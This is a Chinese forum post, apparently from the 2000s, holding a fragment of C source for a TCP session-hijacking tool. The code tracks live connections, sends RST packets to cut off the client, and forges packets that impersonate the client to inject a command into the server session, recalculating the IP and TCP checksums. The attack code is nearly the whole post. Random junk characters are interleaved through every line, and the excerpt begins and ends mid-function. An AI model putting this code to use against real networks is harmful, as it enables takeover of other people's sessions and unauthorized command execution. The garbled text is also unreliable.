- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
) _5 ^( ^; \4 w3 y6 j" l% Z/ h //reset action flag ! X- }: l* j* W6 S) H& b
ResetActionAllFlag();
/ u( i; i. ]' }# v+ b3 F' g }
" w# c6 n7 C0 a //start hijack
h3 r" o; W2 e) }# e$ b" f else if(g_dwAction == ACTION_HIJACK) 0 j3 K2 T) q T' X$ K) H
{
( U: G8 O6 `. U" A //send rst packet to client
E3 ^0 O) Y3 l SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
. Q% q* l. L R6 R; n% [3 l8 O9 t //send hijack packet to client 1 Y) \$ K. u- N' o" S% N/ q
SendHiJackPacket(pTCPPacket);
9 ?) [& F7 ]% m: H7 d //reset action flag 3 v( ~$ b- S3 n. k2 f- b7 d, Y& a0 ]
ResetActionAllFlag();
" t: f6 c6 l2 X% v0 j }
5 a: o# `$ F; V# m }
! N8 D, v _: V3 B //show the tcp data 6 W o3 }! W3 P7 v t; V
if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
$ N: u! m1 D6 L2 n' I- ]6 t { 9 y& [) k* G7 I! G: f9 a( Z2 T% T
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); 0 \: G1 N" |2 l9 H; j, M2 a
//暂不考虑IP、TCP头不是20字节的情况
* {: f6 g9 A! s5 N! p: {$ h //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; 4 _2 G" D# J1 T" [1 x
pStr = (char *)pTCPPacket + 54;
" a" F- m" Y% o6 v' \ X8 K for(i=0; i } 6 O2 T0 V; q, w5 ~/ d- J
} 0 R' R1 [2 y$ N0 f0 |
//debug output 2 I z* ~6 R* o$ j6 T% J
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
* S! U1 q" l& P' c }//end of analyse packets while / B" R: C/ g0 q! \& M3 s4 z2 S9 x
}//end of recv packets while
. d, J$ ^, i7 ]# H PacketFreePacket(lpRecvPacket);
z5 ?* i2 e) u return 0;
- q% e6 n1 N- {9 e}
+ \ v( x$ x1 Y3 i9 b2 c- v( x
7 h4 E, p, Z$ }9 E* U: Y5 O3 x. z) H: \0 f i
// $ S1 \$ `3 u+ ^+ n& s/ E
//功能:操作记录所有连接信息的单向链表 ( |/ W. X% \# x( n; A
// : h$ T. c. o' k0 [8 M3 H
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, , K" N( p2 v n
USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
; a( Z* X2 ^7 p{ + k' i$ b; y; Y
PCONNINFO pNew, pTmp;
) G4 C- t4 Y) X" s) b8 v$ g# _
* e3 j8 s7 H4 C, x9 C, C7 [& n pTmp = g_pConnHead; , W$ ^$ _' |0 n
while(pTmp)
% _6 {; {* B. o; Y1 @ {
0 j7 A) j1 P4 h5 T( f if(pTmp->bActive)
P1 C2 Y P" m9 L {
1 \; y1 X/ p& ^* `7 h1 s9 b( ~ //found it : M0 E# {+ ]- t
if( (pTmp->dwServerIP == dwServerIP) &&
7 K( S" o; g$ v: H* Y4 q (pTmp->uServerPort == uServerPort) && - j7 ~) g# W# f8 d: M" u
(pTmp->dwClientIP == dwClientIP) && 6 g3 S5 l- L* r4 v
(pTmp->uClientPort == uClientPort) ) ! x' t9 K+ ^8 a& f* I
{ * W- O/ I& ^2 k6 ~; e, X" w: |5 q
if(bDelete)
1 t; Q" m2 E$ Z2 L* v6 i {
. J' i ^# |$ `, L pTmp->bActive = FALSE; 8 E+ `! Q0 C4 [% m3 U" ?" e8 {1 X2 v
return 0; % s& H$ n% J8 u# u' q+ [
}
7 M/ N/ a8 U3 Z% K: L$ T else return pTmp->ident; ' o5 k5 @8 Y: t
}
, B- ~0 K6 D N" \" x } 1 l" F. }! r/ b! S. }3 `3 D) p
pTmp = pTmp->Next; 6 o" I% ^1 E, l2 ^: A
}
: d) g; ~9 h" Z //not found, create new node
- x6 g% q! m6 K7 ?4 I4 D0 \ if( (!pTmp) && (!bDelete) && (bAddNew) )
$ C8 m0 g. s: s6 B4 O {
4 F3 R- I8 q) o* C //search unactive note
# p9 A- p& \# M v pTmp = g_pConnHead;
" G, N. g; l5 G+ O% w' d( s* R while(pTmp)
, F" P: X; {) c( r1 ? { # X5 \+ ?- E# f d/ J
if(!pTmp->bActive) break;
# ?0 D1 P9 ^6 J' D& u pTmp = pTmp->Next; % E7 R! w2 s& a, S+ r) |& Z
} 0 L. t" v5 G- \
//found a unactive node ( D& x Z( v* O3 ]8 |* k, W( S
if(pTmp) 6 @: W8 r% @* z& B1 Q
{ 4 O: K. j8 }0 X7 @
pTmp->dwServerIP = dwServerIP; ) q. E4 C5 H) Y) v& t
pTmp->uServerPort = uServerPort; ( l4 I6 J1 e& @9 `3 g
pTmp->dwClientIP = dwClientIP;
7 u0 o6 s9 }) o* ` pTmp->uClientPort = uClientPort; 1 k3 M- C |5 j$ q9 [
pTmp->bActive = TRUE;
: b$ w5 O4 T' a: c return pTmp->ident;
/ B/ `5 V+ N8 B }
# Y1 E( b) v# x3 X9 {. E //not found,create new node
" W6 c) Z/ I% F; _- r3 k. c3 E pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); ! `) R" q% u& a0 k
if(!pNew)
3 q/ i1 Q* j& ~* c/ a" K {
2 y/ ~# Z- @8 ~$ E3 R& p2 z: z printf("malloc for link node error:%d\n", GetLastError());
/ R- R2 T# W X0 G( a% }8 ~ d return 0;
$ E2 J; T2 E- J$ n% v2 I }
0 U, e0 _% K0 b //fill the struct ! ^" p( `8 T4 t* q, c. a
pNew->bActive = TRUE; ; p. N) m- H2 ^6 Y9 h' m
pNew->dwServerIP = dwServerIP;
; n; ]6 `/ G i; X: s6 M$ R pNew->uServerPort = uServerPort; ! d# U% y; Y! b. W
pNew->dwClientIP = dwClientIP;
9 }3 x( R* x+ E pNew->uClientPort = uClientPort; / @8 J1 K8 S. z! [9 R! m q
pNew->ident = ++g_ident;
' D7 w, U, R% \0 Y) e9 S pNew->Next = NULL;
- m& ~+ y6 N; k" A2 e0 C8 \4 S' j //add new node to link 3 j8 W7 v; o" z1 l
if(!g_pConnHead)
" k( o% n+ Z# {* H1 I! V g_pConnHead = g_pConnLast = pNew;
' B) v% _$ N _; o a4 e else , d! m M, o: G, W4 r
{ 6 s% F$ |& l+ u: _2 H0 a: D+ t' a3 m
g_pConnLast->Next = pNew; & Y8 t- N! ]$ a' ^$ [ z
g_pConnLast = pNew;
$ H1 o4 G& B1 G } ; [" C+ Z0 v9 z7 G, G1 N; w
return pNew->ident; 1 y6 l) R: ]7 |, U# G# g, Z0 r
} % Q* J% z& u+ h" Y# ]7 ~5 g
return 0;
/ J' C7 i- W: \9 u% V! X} 1 ]4 {5 l% U) }
; \) c/ `' N) p//
9 V# @; Y5 J3 [: P4 G% e R( S( b0 o//功能:判断一个数据包是不是只有ACK标志
# W% o( C: p p( e! D//
5 f4 a/ H- y- {% i% o3 E2 iBOOL IsACKPacket(unsigned char flag) ) t5 d% h% K+ t9 i1 T
{ 6 K! Y: h) P: S, L0 A" ~ m( ?" f1 ]
int i, j=1;
/ j1 Q* R: @- C4 S0 U: l J for(i=0 ; i<4; i++) 3 h: ?! j3 y5 h4 J, }
{
+ Q; S- B4 \% L4 ]4 j7 o if(flag & j) return FALSE; ' ]' d2 g+ {& t' m* K( `
j <<= 1; 1 T9 b5 d w9 B( W+ a& G
} ( D4 p6 S1 G7 K. c7 m' \
if(!(flag & 0x10)) return FALSE;//is ack? 9 X2 s! }% L9 h
if(flag & 0x20) return FALSE; / O# \+ g, c4 g: @7 Y
return TRUE;
) A8 b3 D$ f$ ?) C}
W3 o" }1 e1 U7 y4 F9 B0 o+ d& X0 R- V" q1 T4 {/ t/ ~1 @
//
5 j# J! g2 q. {1 `//功能:伪装成Client给Server发送数据包
# Y+ ~# a8 s- P5 |// ) C1 n1 |6 O+ P8 b
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) 3 z1 g0 ~0 z& T' _+ S4 f
{ Q; a) H* w7 J: g) L
5 l5 X3 `( {& ]- O char szBuff[1520]; 8 I) a& b5 c4 g
PSDHDR psdhdr;
; \7 S& e; E1 `: t- I, b9 c* Y PTCPPACKET pHiJackPacket = NULL; ; R4 A, ?9 D% V# i1 R: ~
BOOL bRet = FALSE; : K& C7 a% Q( T# t/ ?3 U ^8 M+ D
+ R: F; ?) d2 @, a) _& \
__try & h; O4 K$ e( I; j
{
) I+ l6 Y6 l; V, N" e3 v //
8 C% K* ?3 V: c7 S if(!g_pCurrCtrlConn) __leave;
8 \% V! C) C2 ~9 W( {+ P8 v: S //allocate memory for hijack packet 9 ~8 E8 g( Y3 A W! y P
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); + A$ C7 A: t. J1 X5 B0 n
if(!pHiJackPacket)
# \6 u& H: {& i1 c {
5 M; T, d: v+ }8 k printf("malloc error:%d\n", GetLastError());
. @& O) h( _; D3 | __leave;
# V. H: o, Y4 @# i- L } 7 _8 F7 G/ A5 C' n4 M% Y1 g0 a
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
6 p; L1 @ D. n5 z4 o* \( F //-------------- modify the packet ---------------// 1 Q4 N; Y/ }, `& Q7 [1 k
//modify ethernet head
, n, l6 P5 C. q3 G1 b+ B memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); 1 Q+ X: ^3 K0 K# g! _- b5 A |
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); % R* p f, b! y0 N9 y7 v
//modify ip head
7 s8 t& i, `5 Y2 W4 V pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); ( ]9 C4 L1 U* R8 ]! m" e* d
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); . h6 @+ P5 `5 z) b
pHiJackPacket->iphdr.ident += 1;//标识加1 / U3 R( Y! L% E) a
pHiJackPacket->iphdr.checksum = 0; $ Z" N5 i* G: P/ X' ~( U
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
0 e# c) Y6 k% |3 F9 U pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
6 v! z% t7 ~3 d; I2 ?+ q8 P0 s: q //modify tcp head 6 a7 R |5 {' g$ J' S* E7 y" {
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
# v% M; o2 u/ P: e1 n/ {! N. m pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
7 v* f! B# ~" v( T5 z* |$ k pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); ' }' X2 l8 C" x! |& d# j
pHiJackPacket->tcphdr.th_flag = 0x18;// PA / k$ L8 V1 L" M8 s
pHiJackPacket->tcphdr.th_sum = 0; 2 P4 L* c! c4 ]; `' P, f9 z
pHiJackPacket->tcphdr.th_win = 0x3F44;
- P) |9 j' V5 v. J) y3 L, q( o //fill tcp psd head ! V# @ c$ G6 D
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
' o) j9 b V9 ^7 M0 L' o psdhdr.daddr = pHiJackPacket->iphdr.destIP;
# E2 @+ A2 u3 L7 q psdhdr.mbz = 0;
6 z/ ~4 L2 q9 o# o1 B psdhdr.ptcl = IPPROTO_TCP;
5 L) H: k& {4 H0 h psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len 0 w. t8 m' n$ [/ S' p
//calculate tcp checksum
8 S/ Z* ?$ Z4 i memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
. J! z1 b6 E L/ j' f* D V memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); " I* v+ y: |6 R5 i l3 @, }
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
$ C8 T$ _9 n9 q2 r, D pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
( v, y- i7 S# v3 X e/ Q //calculate IP checksum # J0 \- }/ G' j: n& u ^
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
# V7 z& D' A L/ r1 g //fill send buffer + W7 C; r u5 g9 {
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
{% v$ I& K' h- r. [" \ memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
6 w* E V/ [$ f* Q8 O/ e memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); ) i0 Z" C5 O7 V) r$ s; m, v- m
memset(g_lpSendPacket->Buffer, 0, 1514); w5 l4 J; k% v/ h4 n
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 6 r; f, ]. S0 s7 B5 W" N% V K+ ]
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: U3 {) a8 W+ x& Y1 Q. u {
0 X9 c1 s1 k% x/ D( I. c printf("Error sending the hijack packets!\n");
l9 o2 x5 d5 B: e# w, F# A4 D: H __leave;
) X8 T5 c; ]& i }
7 B: `( L, C$ t- P7 G6 m else printf("Send hijack packet ok!\n"); 8 A$ ^; Y) R7 v5 _; S+ e
bRet = TRUE; % E: M& n3 M% u3 E- K9 {" E6 d
} |
|